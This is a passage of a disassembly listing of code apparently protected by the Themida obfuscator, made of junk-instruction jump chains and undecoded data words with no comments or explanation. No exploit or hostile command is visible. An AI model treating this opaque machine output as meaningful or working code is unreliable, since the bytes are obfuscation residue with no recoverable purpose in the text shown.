0D1F7FFFFh, 0EA81CA87h, 0DA19A351h, 0F75AD331h dd 0D08AE9DBh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_558822: ; CODE XREF: Themida_:0055B4FEj mov ebx, edi mov edi, [esp] add esp, 4 mov eax, [esp] add esp, 4 add edx, ebx pop ebx xor edx, [esp] jmp loc_55EBD9 ; --------------------------------------------------------------------------- db 87h, 0Ch, 24h dd 0C87D1F7h, 81435B24h, 0CA9243F3h, 0E9DA29D2h, 1D4h dd 3BFAC281h, 0FA016289h, 3BFAEA81h, 0EA816289h, 1EAE4065h dd 66CC281h, 3C8B7ECFh, 4C48124h, 83000000h, 143304C2h dd 24143124h, 0E9241433h, 0AD62h, 0E9243C87h, 0FFFFB515h ; --------------------------------------------------------------------------- loc_558894: ; CODE XREF: Themida_:0055434Dj xor edi, ecx jmp loc_556601 ; --------------------------------------------------------------------------- db 81h dd 151EA7F5h, 0E9D5F74Fh, 3C15h, 64751568h, 0BB535A67h dd 50385B39h, 0C381D3F7h, 0AA369BB0h, 7719E9h, 243C3300h dd 33243C31h, 0D9E9243Ch db 0B3h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5588CF: ; CODE XREF: Themida_:00552120j pop ebp jmp loc_55A2DE ; --------------------------------------------------------------------------- db 83h, 0EBh, 4 dd 5C241C87h, 54240489h, 0FF6FA5E9h, 0E18951FFh, 631BE9h db 0 ; --------------------------------------------------------------------------- loc_5588ED: ; CODE XREF: Themida_:0055B7F7j pop edi add edx, 4 xchg edx, [esp] mov esp, [esp] jmp loc_562750 ; --------------------------------------------------------------------------- db 0BEh dd 11E30879h, 2AAE9h, 6FC38100h, 0FF3E9815h, 48B2434h dd 4C48324h, 57E68956h, 4BFh, 0D5EEE900h, 0C483FFFFh, 24048F04h dd 0C8B665Ch, 58545024h, 0FF823AE9h, 5EF089FFh, 71E4E9h dd 24048F00h, 4240483h, 62AEE9h, 9C58100h, 104966Ah, 9ED81DDh dd 8B04966Ah, 0C483241Ch, 4C58304h, 31242C33h, 2C33242Ch dd 0EB685C24h, 89000029h, 4812434h, 0C965BD24h, 4346E91Fh dd 515E0000h, 3291E9h, 24540100h, 44E95A08h, 5EFFFF9Bh dd 205CE9h, 18C78100h, 59510638h, 4F07EFC1h, 5506EFC1h dd 0CF1D5FBDh, 4DDDF724h, 3132CD81h, 0C5810FB2h, 23B67512h dd 1094F581h, 0EF294393h, 2C7815Dh, 8140F731h, 0C3432BC3h dd 0E9FB0163h, 4184h, 315BDF89h, 61E95FFEh db 24h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5589E3: ; CODE XREF: Themida_:005534CDj add esi, 2DDE1FDDh add esi, 164F53C8h jmp loc_559E20 ; --------------------------------------------------------------------------- loc_5589F4: ; CODE XREF: Themida_:00554F2Dj add ecx, ebp jmp loc_552D05 ; --------------------------------------------------------------------------- db 80h dd 0EB303EEDh, 0FFC2FAE9h db 0FFh ; --------------------------------------------------------------------------- loc_558A05: ; CODE XREF: Themida_:005615C0j xor ebp, edi pop edi jmp loc_559706 ; --------------------------------------------------------------------------- db 5Ah, 0E9h, 23h dd 8100000Ch, 4C7h, 0B47BE900h, 8B66FFFFh, 89512404h, 0E95350E1h dd 4F1Eh, 2414335Bh, 33241431h, 895C2414h, 0E389241Ch dd 4C381h, 2E90000h db 95h, 2 dup(0) ; --------------------------------------------------------------------------- loc_558A47: ; CODE XREF: Themida_:00559F33j pop ecx add ecx, 4 jmp loc_55EA59 ; --------------------------------------------------------------------------- loc_558A53: ; CODE XREF: Themida_:0055DA1Dj neg edi jmp loc_5539DC ; --------------------------------------------------------------------------- dw 0D929h dd 1186E9h, 0EC835600h, 88CAE904h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_558A6A: ; CODE XREF: Themida_:00550C63j push ebx mov ebx, 29C56A09h sub ebx, 0D7E92D9Eh sub edi, ebx pop ebx push dword ptr [esp] jmp loc_555BFC ; --------------------------------------------------------------------------- loc_558A81: ; CODE XREF: Themida_:0055405Aj pop dword ptr [esp] mov esp, [esp] sub eax, ebx push dword ptr [esp] pop ebx sub esp, 4 jmp loc_5511D1 ; --------------------------------------------------------------------------- db 5Eh, 0E9h, 5Ch dd 81FFFFEBh, 0A569AEEAh, 74EA8114h, 296F122Dh, 2EC1E9F2h db 2 dup(0) ; --------------------------------------------------------------------------- loc_558AAE: ; CODE XREF: Themida_:0055CC21j push esi mov esi, 47102F3Eh jmp loc_555341 ; --------------------------------------------------------------------------- db 81h, 2Ch, 24h dd 645797Ch, 8124048Bh, 4C4h, 51505200h, 323579B9h, 8BC8894Eh dd 0C483240Ch, 8BC28904h, 0C4832404h, 0FDBE5604h, 2947ECBBh dd 24348BF2h, 3A6E68h, 24048900h, 405E089h, 83000000h dd 48704C0h, 36E95C24h, 89000095h, 91E92414h, 81FFFFB0h dd 4C239DEDh, 6FC581C4h, 811B7829h, 4ECh, 24048900h, 8ACABE56h dd 0F0898C73h, 8BC5015Eh, 0C4832404h, 20C78104h, 15A316Ah dd 0B38CE9EFh db 2 dup(0) ; --------------------------------------------------------------------------- loc_558B42: ; CODE XREF: Themida_:00562DFEj shr edx, 1 cmp eax, edx jz loc_5575EF push 16Bh jmp loc_56290E ; --------------------------------------------------------------------------- loc_558B56: ; CODE XREF: Themida_:00550585j xor edi, 167606E7h xor edi, 341B1795h jmp loc_55DDB9 ; --------------------------------------------------------------------------- db 31h dd 874A5FFAh, 7A33E9CAh, 5258FFFFh, 0AC7AC0BAh, 89B85008h dd 5681564h, 1EE35D73h, 0F707E8C1h, 0CBD55D8h, 0D13D356Dh dd 0F5814DE5h, 1CF8FCA1h, 95DE801h, 24048BC2h, 4C481h dd 0BF570000h, 5332BCDh, 63E9FA21h, 81FFFFEFh, 0A7B7DCEh dd 0E9DEF767h, 0FFFFDB3Dh ; --------------------------------------------------------------------------- loc_558BC0: ; CODE XREF: Themida_:00551394j mov ebp, esp add ebp, 4 jmp loc_5639FE ; --------------------------------------------------------------------------- db 81h, 0F7h, 23h dd 871AD11Ah, 0E9D1F7CFh, 10ECh ; --------------------------------------------------------------------------- loc_558BDC: ; CODE XREF: Themida_:005615ACj shl edi, 7 xor edi, 9E5524Ch shl edi, 1 jmp loc_552DBB ; --------------------------------------------------------------------------- dd 6624248Bh, 2404A30Fh, 6773E99Ch, 0EC83FFFFh, 76EAE904h dd 159FFFFh, 0BD555BDEh, 2, 6BC0EE81h, 0B0E9009Eh, 0ACFFFFCBh dd 9F1CE9h, 242C8700h, 0E924248Bh, 0FFFFA123h ; --------------------------------------------------------------------------- loc_558C28: ; CODE XREF: Themida_:00552659j push esi push 4470634Ch pop esi jmp loc_55A14E ; --------------------------------------------------------------------------- dd 8904EC83h, 8C68240Ch, 0E9000013h, 0A893h, 4E3E05ADh dd 0BD551A8Fh, 206557EAh, 295DE829h, 57EA05D8h, 0EC832065h dd 24348904h, 81E68956h, 4C6h, 4EE8100h, 87000000h, 895C2434h dd 3E9243Ch, 0C1FFFFE2h, 0CEE903E6h db 1Ah, 2 dup(0) ; --------------------------------------------------------------------------- loc_558C83: ; CODE XREF: Themida_:0055702Dj push ecx push 36272446h pop ecx dec ecx not ecx shl ecx, 2 neg ecx add ecx, 95FAA6A4h mov edx, ecx pop ecx mov ebp, edx pop edx mov esi, ebp jmp loc_563E1E ; --------------------------------------------------------------------------- db 66h, 8Fh, 2 dd 0B0DDE9h db 0 ; --------------------------------------------------------------------------- loc_558CAD: ; CODE XREF: Themida_:005578DFj pop edi add eax, 4 xchg eax, [esp] mov esp, [esp] mov ebp, [esp] add esp, 4 jmp loc_5566F3 ; --------------------------------------------------------------------------- loc_558CC5: ; CODE XREF: Themida_:00560824j add ebp, 4 push edx jmp loc_559396 ; --------------------------------------------------------------------------- loc_558CD1: ; CODE XREF: Themida_:0055EE60j mov [esp], edx jmp loc_551618 ; --------------------------------------------------------------------------- db 89h, 14h, 24h dd 0FF8B1EE9h db 0FFh ; --------------------------------------------------------------------------- loc_558CE1: ; CODE XREF: Themida_:00559167j add ecx, eax jmp loc_55019E ; --------------------------------------------------------------------------- dd 4B8h, 24440100h, 1690E904h db 2 dup(0) ; --------------------------------------------------------------------------- loc_558CF6: ; CODE XREF: Themida_:00554BD5j push edi mov edi, 3BFC4832h jmp loc_556734 ; --------------------------------------------------------------------------- db 68h, 4, 0 dd 23E90000h db 8Bh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_558D0B: ; CODE XREF: Themida_:00557750j mov esi, esp push eax jmp loc_55BC39 ; --------------------------------------------------------------------------- db 50h dd 383C09B8h, 0E0C14828h, 0EC834808h, 24348904h, 0B06B1BBEh dd 5EF02123h, 78151505h, 94BF5775h, 0E9362473h, 0FFFF6E93h dd 8107EAC1h, 0F1342CEAh, 13EA817Eh, 897E8420h, 0E0E95AD1h dd 89000046h, 3AE958C6h, 0B800001Dh, 4, 0B634E9h, 81E18900h dd 4C1h, 4C18100h, 0E9000000h, 315Fh ; --------------------------------------------------------------------------- loc_558D78: ; CODE XREF: Themida_:00551575j mov esi, 733F5528h shl esi, 1 sub esi, 7C511309h sub esi, 1 jmp loc_5566AA ; --------------------------------------------------------------------------- dd 4C181h, 0C1830000h, 240C8704h, 3AF7815Ch, 8B76EC18h dd 0C483242Ch, 5FFB0104h, 167BE9h, 0E9EF3100h, 7CECh ; --------------------------------------------------------------------------- loc_558DB8: ; CODE XREF: Themida_:0055C16Fj add eax, edi jmp loc_554256 ; --------------------------------------------------------------------------- aGvs db 'GVé":',0 align 2 dw 0C181h dd 1A6F2957h, 7315F181h, 0CE896B8Bh, 0FF85C0E9h, 0C78059FFh dd 0C0CFFE5Dh, 0B55108E7h, 80CDFE72h, 0C5804DE5h, 6838E9B2h dd 0BD55FFFFh, 3AF63869h, 240CFF55h, 0E9242C8Bh, 0FFFFBACAh dd 0F66F9F6h, 0E956CCB6h, 0FFFFB98Bh ; --------------------------------------------------------------------------- loc_558E10: ; CODE XREF: Themida_:0055CC32j push eax mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp] pop esp push 40BCh mov [esp], ecx mov ecx, esp jmp loc_55FAE8 ; --------------------------------------------------------------------------- dw 0EE81h dd 2, 0E9243487h, 1663h, 0E951C601h, 7C8Eh ; --------------------------------------------------------------------------- loc_558E44: ; CODE XREF: Themida_:00555182j push 41D15F92h pop edi xchg ebp, edi not ebp sub esp, 4 mov [esp], edi push ebp jmp loc_5543A0 ; --------------------------------------------------------------------------- aAPaMhbm db '€ÎP€Îmhbm',0 align 4 dd offset dword_4D1970+79h dd 7AFCBD00h, 0C28142C4h, 5F681F53h, 85E9EA01h, 8900000Ch dd 4C681E6h, 0E9000000h, 4759h, 5002EFC1h, 0C40787B8h dd 0E9C70925h, 0FFFFD17Ah, 0F6F0B151h, 0B25266D9h, 3165E9FFh dd 8B540000h, 0C4812414h, 4, 0EC1E9h, 4C68100h, 0E9000000h dd 0FFFFA12Fh ; --------------------------------------------------------------------------- loc_558EC4: ; CODE XREF: Themida_:00552AD3j xor ebx, ebp pop ebp jmp loc_557AC1 ; --------------------------------------------------------------------------- loc_558ECC: ; CODE XREF: Themida_:0055E6A4j pop edx add edx, 0EA80AA26h mov esi, edx jmp loc_55B047 ; --------------------------------------------------------------------------- loc_558EDA: ; CODE XREF: Themida_:0055A72Aj mov di, [esp] push eax push esi mov esi, esp jmp loc_552D2B ; --------------------------------------------------------------------------- loc_558EE7: ; CODE XREF: Themida_:0055B689j add esi, 4 jmp loc_55FBFA ; --------------------------------------------------------------------------- loc_558EF2: ; CODE XREF: Themida_:0055A949j neg ecx sub ecx, 7D611E54h xor ecx, 447569E9h xor ecx, 4518EF83h or edi, ecx jmp loc_559044 ; --------------------------------------------------------------------------- loc_558F0D: ; CODE XREF: Themida_:00564731j mov ebp, [esp] push ecx mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp] pop esp sub dword ptr [esp+4], 34000B12h add dword ptr [esp+4], 0AE069E8h sub [esp+4], esi push ebp jmp loc_551699 ; --------------------------------------------------------------------------- db 81h, 0C4h, 4 dd 81000000h, 4ECh, 240C8900h, 0FF82CFE9h, 9CB353FFh, 28D1E9h dd 4BB00h, 0DD010000h, 0B260E95Bh, 680000h, 89000022h dd 6CBE2434h, 0C11A6670h, 0E94E02EEh, 9E3h, 63D3E954h dd 2C890000h, 4D36E924h, 0E9510000h, 0BC8h ; --------------------------------------------------------------------------- loc_558F90: ; CODE XREF: Themida_:0055E2FDj or esi, 30E24EB4h xor esi, 3CC26AB4h and edi, esi jmp loc_5605DF ; --------------------------------------------------------------------------- db 50h dd 0F6162CB8h, 45D33506h, 0C2296F4Ah, 5AD73158h, 1B78092Dh dd 52F8290Ch, 1B7809BAh, 0E9D0010Ch, 614Eh ; --------------------------------------------------------------------------- loc_558FC8: ; CODE XREF: Themida_:00559539j add esp, 4 push ebp jmp loc_5594C4 ; --------------------------------------------------------------------------- dd 2859C52Dh, 0E9E80169h, 0FFFF832Bh ; --------------------------------------------------------------------------- loc_558FE0: ; CODE XREF: Themida_:0055EBA4j and eax, edx push dword ptr [esp] jmp loc_557557 ; --------------------------------------------------------------------------- loc_558FEA: ; CODE XREF: Themida_:0054FCCFj neg ebx sub ebx, 7CE06827h sub edx, ebx pop ebx sub edx, 7D5C1D92h neg edx add edx, 365A3F17h sub edx, 0B592A27Ch or eax, edx pop edx xor eax, 30A2641Ah add eax, 0D7FB597Ch add edx, eax pop eax push dword ptr [edx] mov eax, [esp] push ecx mov ecx, esp add ecx, 4 push ebp mov ebp, 4 add ecx, 223A493Dh add ecx, ebp sub ecx, 223A493Dh pop ebp xchg ecx, [esp] jmp loc_55DC1D ; --------------------------------------------------------------------------- loc_559044: ; CODE XREF: Themida_:00558F08j pop ecx jmp loc_5642C2 ; --------------------------------------------------------------------------- dw 0D3BDh dd 0C109D670h, 0C58106EDh, 0FFD8A63Fh, 2C8BEF89h, 4C48124h dd 1000000h, 243C8BFEh, 3304C483h, 0ABE92434h db 88h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_559073: ; CODE XREF: Themida_:005636A8j add dword ptr [esp], 3486894h mov esi, [esp] jmp loc_5566B6 ; --------------------------------------------------------------------------- loc_559082: ; CODE XREF: Themida_:00557411j mov [esp], ecx jmp loc_56138C ; --------------------------------------------------------------------------- loc_55908A: ; CODE XREF: Themida_:00561107j add ebp, 5B9CD682h push ebp pop esi pop ebp xor esi, 762709FDh mov edx, esi mov esi, [esp] add esp, 4 xor edx, 23BC4B85h add ecx, edx jmp loc_5629CF ; --------------------------------------------------------------------------- dw 0D1F7h dd 5C98141h, 815F3423h, 5C0FBDE1h, 51535226h, 0DB1F5B68h dd 6EE95938h, 0FF000049h, 0E9582434h, 0FFFF803Fh, 0FF6294E9h dd 2C895CFFh, 0A51DE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5590E2: ; CODE XREF: Themida_:00551438j push 5A85h mov [esp], ebx jmp loc_55E431 ; --------------------------------------------------------------------------- db 5Ah dd 4C481h, 57560000h, 0FF969FE9h, 308EB3FFh, 61E95AD3h dd 1FFFFE3h, 953CE9D8h, 74FF0000h, 8F590424h, 248B2404h dd 4FF6624h, 0AE99C24h, 57FFFFE9h, 4BFh, 5FFD0100h, 980E9h db 0 ; --------------------------------------------------------------------------- loc_559131: ; CODE XREF: Themida_:0054F65Cj mov edx, 0A6453CCh jmp loc_555395 ; --------------------------------------------------------------------------- db 8Bh dd 0AE9241Ch, 310000B6h, 34332434h, 0BA92E924h, 0E952FFFFh dd 0B23Bh ; --------------------------------------------------------------------------- loc_559154: ; CODE XREF: Themida_:00560F47j xor eax, 6D9E6CE9h neg eax inc eax xor eax, 8FB8A8ABh sub ecx, 7E04142Ch jmp loc_558CE1 ; --------------------------------------------------------------------------- dd 4AB8EB81h, 0C381443Fh, 1F4C1243h, 1EB81h, 0BE560000h dd 3A044585h, 8E9F329h, 66FFFFF8h, 8124048Bh, 4ECh, 0A575E900h dd 0F989FFFFh, 43C1815Fh, 0E91D381Fh, 0FFFFE7DFh, 875FF929h dd 248B240Ch, 241C8924h, 0EB242C81h, 8F0B214Ah, 47812047h dd 214AEB20h, 2434FF0Bh, 62D7E9h db 0 ; --------------------------------------------------------------------------- loc_5591CD: ; CODE XREF: Themida_:00550C92j sub cx, 0AC8Ch sub bp, 69F8h sub bp, cx add bp, 69F8h jmp loc_55304D ; --------------------------------------------------------------------------- dd 0E9243C31h, 0FFFFD8C3h, 0D82823B3h, 0D0E95B66h, 5FFFFF83h dd 295DEA29h, 2B6BE9D7h, 895C0000h, 0E682404h, 89000059h dd 0E9522434h, 950Eh, 240C875Dh, 2414895Ch, 0FF7D6CE9h dd 0C3815BFFh, 4, 0FD468h, 243C8900h, 5721B0BFh, 2E7C160h dd 0A43FE9h db 0 ; --------------------------------------------------------------------------- loc_55923D: ; CODE XREF: Themida_:0055E63Aj jmp loc_54F36D ; --------------------------------------------------------------------------- loc_559242: ; CODE XREF: Themida_:00552B6Cj mov esi, 17A562BEh jmp loc_560C26 ; --------------------------------------------------------------------------- loc_55924C: ; CODE XREF: Themida_:00559EB5j push edx mov edx, 0F9CAB45Eh add ecx, edx pop edx add esi, ecx pop ecx jmp loc_54F9F5 ; --------------------------------------------------------------------------- loc_55925D: ; CODE XREF: Themida_:005601D9j mov [esp], eax jmp loc_563337 ; --------------------------------------------------------------------------- db 4Fh, 0F7h, 0DFh dd 0BE56DFF7h, 56A02C4Eh, 95EF729h, 243C8BFBh, 8104C483h dd 0B973C5F3h, 130EE92Eh db 2 dup(0) ; --------------------------------------------------------------------------- loc_559286: ; CODE XREF: Themida_:005555A5j push ebx mov ebx, 3E6C2EBCh and ecx, ebx pop ebx jmp loc_55BCC8 ; --------------------------------------------------------------------------- dd 4C381h, 62E90000h db 32h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55929F: ; CODE XREF: Themida_:0055BEC3j xor ebx, 0ED7B7BC0h add edi, ebx pop ebx mov ebp, [esp] add esp, 4 sub esp, 4 mov [esp], ecx mov ecx, 4 sub edi, ecx pop ecx xor edi, [esp] xor [esp], edi xor edi, [esp] mov esp, [esp] mov [esp], eax push edi mov edi, esp add edi, 4 sub edi, 4 jmp loc_55CC26 ; --------------------------------------------------------------------------- dw 31ADh dd 4EC81D8h, 89000000h, 0F568242Ch, 0FF7F9079h, 835D2434h dd 0F58704C4h, 0F587D6F7h, 0FFFFED81h, 1E9FFFFh, 83FFFFA0h dd 5B042404h, 4C381h, 0BE560000h, 8E84727h, 0E9EC681h dd 0DEF7496Ch, 55C9C681h, 0C3815254h, 277C7711h, 0EB81F301h dd 277C7711h, 0A155E95Eh, 4050000h, 5000000h, 4, 5C240487h dd 66E3045Bh, 0FE96E953h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_559356: ; CODE XREF: Themida_:0055387Dj push eax mov eax, esp add eax, 4 sub eax, 4 jmp loc_5600A0 ; --------------------------------------------------------------------------- loc_559368: ; CODE XREF: Themida_:00563F57j add esi, 4 add esi, 4 xchg esi, [esp] pop esp pop dword ptr [esp] mov esp, [esp] imul cl movzx cx, ah push eax push esp jmp loc_561FEF ; --------------------------------------------------------------------------- db 81h dd 0A9C3F3EFh, 86D5E907h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_559396: ; CODE XREF: Themida_:00558CCCj push edi push 27130DD4h mov edi, [esp] add esp, 4 not edi inc edi push ebx jmp loc_5539C0 ; --------------------------------------------------------------------------- loc_5593AE: ; CODE XREF: Themida_:0055B490j push ebx mov ebx, esp push ebp mov ebp, 5BF124DBh or ebp, 0E7D79BCh jmp loc_551C54 ; --------------------------------------------------------------------------- dw 5150h dd 7AE94AB1h db 0B2h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5593CB: ; CODE XREF: Themida_:00550DDAj sub esp, 4 mov [esp], ecx mov ecx, 3ACE74C5h jmp loc_5618D7 ; --------------------------------------------------------------------------- loc_5593DB: ; CODE XREF: Themida_:00561282j xor [esp], edi xor edi, [esp] pop esp jmp loc_55C80E ; --------------------------------------------------------------------------- loc_5593E7: ; CODE XREF: Themida_:00551D47j dec edi or edi, 7B79256Bh jmp loc_5529FF ; --------------------------------------------------------------------------- db 80h dd 0F5008DC5h, 0E98DED80h, 1403h, 55F0295Eh, 3D45E9h, 7FC68100h dd 0E932CA0Ch, 0FFFFDFE4h, 4EC835Ah, 89243C89h, 348157D7h dd 0A529CE24h, 0F009E911h, 0E6C1FFFFh, 6F68105h, 812C853Bh dd 0F27137EEh, 6BB06801h, 14890000h, 23A5BA24h, 0F74A3D43h dd 57DAF7D2h, 0EB36ECBFh, 0AFE94F0Dh db 92h, 2 dup(0) ; --------------------------------------------------------------------------- loc_559457: ; CODE XREF: Themida_:00559748j xchg edx, [esp] pop esp and edx, 44CC2EAEh add edx, 0BD0D8A3h mov edi, edx push dword ptr [esp] pop edx add esp, 4 jmp loc_55A968 ; --------------------------------------------------------------------------- aIrs db '‰àéÄ|',0 dw 6800h dd 765h, 51242489h, 4B9h, 244C0100h, 7167E904h, 0ECBB0000h dd 811B6770h, 0AB3EC5C3h, 2BD555Dh, 923FB7Ch, 0E93E9EBh db 2 dup(0) ; --------------------------------------------------------------------------- loc_5594AE: ; CODE XREF: Themida_:005603DDj and ebp, 0E3F4D8Dh jmp loc_55B503 ; --------------------------------------------------------------------------- loc_5594B9: ; CODE XREF: Themida_:00557353j push dword ptr [esp] mov eax, [esp] jmp loc_5559EE ; --------------------------------------------------------------------------- loc_5594C4: ; CODE XREF: Themida_:00558FCFj push edx push 280374D3h pop edx sub edx, 31F71519h add edx, 9F3A048h mov ebp, edx jmp loc_553064 ; --------------------------------------------------------------------------- loc_5594DE: ; CODE XREF: Themida_:0055C3C7j mov esi, [esp] push edx mov edx, esp add edx, 4 jmp loc_563869 ; --------------------------------------------------------------------------- loc_5594EF: ; CODE XREF: Themida_:0055559Fj push eax jmp loc_55799F ; --------------------------------------------------------------------------- loc_5594F5: ; CODE XREF: Themida_:0055A233j not ebp not ebp jmp loc_55E7C1 ; --------------------------------------------------------------------------- loc_5594FE: ; CODE XREF: Themida_:005567C6j mov eax, esp add eax, 4 sub eax, 4 xchg eax, [esp] mov esp, [esp] push esp jmp loc_560A0D ; --------------------------------------------------------------------------- loc_559514: ; CODE XREF: Themida_:0055A08Cj mov edi, 2E890B40h jmp loc_557AED ; --------------------------------------------------------------------------- dw 1C8Bh dd 4C48124h, 66000000h, 0E913ED68h, 17B6h ; --------------------------------------------------------------------------- loc_559530: ; CODE XREF: Themida_:0055C91Aj push dword ptr [esp] mov ebp, [esp] add esp, 4 jmp loc_558FC8 ; --------------------------------------------------------------------------- dw 0EA83h dd 24148704h, 8924248Bh, 8EE9240Ch db 7Bh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55954F: ; CODE XREF: Themida_:005524A4j mov esi, esp add esi, 4 jmp loc_5597A5 ; --------------------------------------------------------------------------- aISoa db '‰<$éo€',0 align 4 dd 46686659h, 0C89664Ah, 50B65224h, 0F53049B5h, 0E9E8305Ah dd 0FFFFCA28h, 4B66E95Bh, 0B9510000h, 4, 8759CE01h, 12E92434h dd 81000072h, 203885F7h, 1ED4E996h, 0E9010000h, 7671C181h dd 2C8B5DFCh, 161F6824h, 4890000h, 34FF5424h, 90E7E924h dd 382CFFFFh, 0F000C02Ch, 3804C004h, 2C612C5Ah, 4D800F1h dd 9F26E9F1h, 51660000h, 0CA28DFB1h, 0CAFE5966h, 0B353D2F6h dd 2261E9F8h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5595E6: ; CODE XREF: Themida_:0055CD5Dj pop esp mov [esp], edi push esp mov edi, [esp] add esp, 4 push edx mov edx, 3FBF1073h or edx, 4CA24B40h jmp loc_555511 ; --------------------------------------------------------------------------- db 0C1h, 0E8h, 8 dd 16D68h, 24148900h, 0BAh, 92C22900h, 0E924148Bh, 0FFFFAFE1h ; --------------------------------------------------------------------------- loc_559620: ; CODE XREF: Themida_:00560FBAj pop esp push 4B2Ch mov [esp], edi push edi jmp loc_551327 ; --------------------------------------------------------------------------- loc_55962F: ; CODE XREF: Themida_:0055E35Aj sub edx, ecx jmp loc_55B772 ; --------------------------------------------------------------------------- dw 0C181h dd 50B3E3FAh, 0FFDB25E9h, 0E9D309FFh, 0FFFFBA4Dh, 551548BBh dd 68525152h, 2BB06E68h, 0F6E2E95Ah, 78BDFFFFh, 556BA47Ah dd 0A47A7ABDh, 5DE9896Bh, 2C8BE931h, 4C48124h, 1000000h dd 16E959CDh db 64h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55967B: ; CODE XREF: Themida_:0055E487j push ecx mov ecx, 5DFF4C11h add [esp+8], ecx pop ecx sub [esp+4], ebx sub dword ptr [esp+4], 5DFF4C11h mov ebx, [esp] push eax mov eax, esp push ebp mov ebp, 6E1B6FA2h add ebp, 14695BC4h sub ebp, 54A4483Dh add ebp, 0D21F7CDBh add eax, ebp pop ebp jmp loc_55F53A ; --------------------------------------------------------------------------- dd 8E5C05Bh, 0E98EF580h, 0FFFF648Ah, 51A3B951h, 0E1813927h dd 5B761C56h, 0A5C18149h, 0C122C375h, 0F18106E9h, 4D789263h dd 8159CE09h, 695E79E6h, 3CC68108h, 5625D527h, 5E2414F7h dd 0FFAB3CE9h db 0FFh ; --------------------------------------------------------------------------- loc_5596F9: ; CODE XREF: Themida_:0055609Cj mov edi, esp add edi, 4 jmp loc_5519EF ; --------------------------------------------------------------------------- loc_559706: ; CODE XREF: Themida_:00558A08j sub ebp, 49611C35h not ebp xor ebp, 515C1846h add edi, 42DE5DE7h sub edi, ebp push ebx mov ebx, 2DC150Dh shl ebx, 7 jmp loc_55A956 ; --------------------------------------------------------------------------- dw 0B850h dd 5DEC554Fh, 0AD1FE9h, 242C8B00h, 6863E9h db 0 ; --------------------------------------------------------------------------- loc_55973D: ; CODE XREF: Themida_:00561391j neg ecx push edi jmp loc_555AB7 ; --------------------------------------------------------------------------- loc_559745: ; CODE XREF: Themida_:0054F867j add edx, esi pop esi jmp loc_559457 ; --------------------------------------------------------------------------- db 57h, 66h, 0BFh dd 686655FCh, 89665D81h, 0EC812404h, 4, 66243489h, 660F51BEh dd 34EE81h, 7FF68166h, 0CE81661Ah, 81660686h, 666BE7F6h dd 0B49CEE81h, 5EF08966h, 0E9C70166h, 3A3Bh, 15BD801h dd 3F6F2DC8h, 525958DCh, 468h, 0D0015A00h, 0FFB679E9h db 0FFh ; --------------------------------------------------------------------------- loc_5597A5: ; CODE XREF: Themida_:00559557j add esi, 4 xchg esi, [esp] pop esp sub esp, 4 mov [esp], edi mov edi, 515D0113h dec edi jmp loc_563348 ; --------------------------------------------------------------------------- dd 5C241C87h, 7F168h, 240C8900h, 4B9h, 0F8C58100h, 577E6F10h dd 811F63BFh, 5FFD011Bh, 0D768CD01h, 89000037h, 63BF243Ch dd 0E91B811Fh, 0FFFFA8BEh, 54241C89h, 672DE9h, 0E3D14B00h dd 0FFE906E9h, 24348BFFh, 8104C483h, 1E4781EFh, 81EF0125h dd 1E4781C7h, 3C335D25h, 243C3124h, 0E9243C33h, 5F26h ; --------------------------------------------------------------------------- loc_559828: ; CODE XREF: Themida_:00552A0Aj add edi, edx pop edx jmp loc_550422 ; --------------------------------------------------------------------------- dd 0A92640B9h, 0C4C18149h, 1B656D9h, 240C8BCFh, 1FB6E957h db 2 dup(0) ; --------------------------------------------------------------------------- loc_559846: ; CODE XREF: Themida_:00556AF4j push 0 sub [esp], ebp pop ebp shr ebp, 7 shl ebp, 7 push ecx mov ecx, 174314EDh and ebp, ecx pop ecx add ebp, 1 push edx mov edx, 0EFBFFC03h add ebp, edx pop edx add eax, ebp pop ebp push 4930h mov [esp], ebp push ebx mov ebx, 7961990h sub ebx, 15403EF4h inc ebx jmp loc_559E85 ; --------------------------------------------------------------------------- db 81h dd 4ECh, 241C8900h, 4BBh, 5BDA0100h, 4EC81h, 34890000h dd 0BD555224h, 4, 2C8BEA89h, 8A7EE924h, 0E1810000h, 7CEF5808h dd 23BFC181h, 0CD89E3F5h, 8AC2E959h, 2C890000h, 7A316824h dd 24890000h, 24048324h, 7205E904h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5598DA: ; CODE XREF: Themida_:00550C7Dj mov cx, 5C59h sub cx, bx pop ebx or cx, 696Fh jmp loc_550C8D ; --------------------------------------------------------------------------- dd 4EC68h, 242C8900h, 4BDh, 7EC18100h, 14CFA0Fh, 7EBE56E9h dd 294CFA0Fh, 2BFBE9F1h, 68590000h, 5DB4h, 0BF243C89h dd 1B12729h, 8B58E9h db 0 ; --------------------------------------------------------------------------- loc_559921: ; CODE XREF: Themida_:0055DF8Dj mov [esp], esp push 6201h mov [esp], ebx mov ebx, 4 sub dword ptr [esp+4], 4D466E04h add [esp+4], ebx push edx mov edx, 4D466E04h add [esp+8], edx pop edx pop ebx pop edi jmp loc_55C6B5 ; --------------------------------------------------------------------------- db 5 dd 2, 8B240487h, 0A1E92424h, 87FFFFD5h, 70BFE9D6h, 1B9FFFFh dd 81742564h, 4151F9E9h, 6242E914h, 0C0BAFFFFh, 0BE274A7Ah dd 0E8C7965Ch, 1E51E9h, 2434FF00h, 69E95359h db 0C6h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55998F: ; CODE XREF: Themida_:005570C0j add dh, 1 shl dh, 8 add dh, 8Ch shl dh, 4 xor dh, 32h sub al, dh mov edx, [esp] add esp, 4 sub al, bl add al, 0F2h jmp loc_55F238 ; --------------------------------------------------------------------------- db 81h dd 0B74661CFh, 0BFE78112h, 527BD350h, 0FFFFFFBAh, 0E9D729FFh dd 0FFFF9FCFh ; --------------------------------------------------------------------------- loc_5599C8: ; CODE XREF: 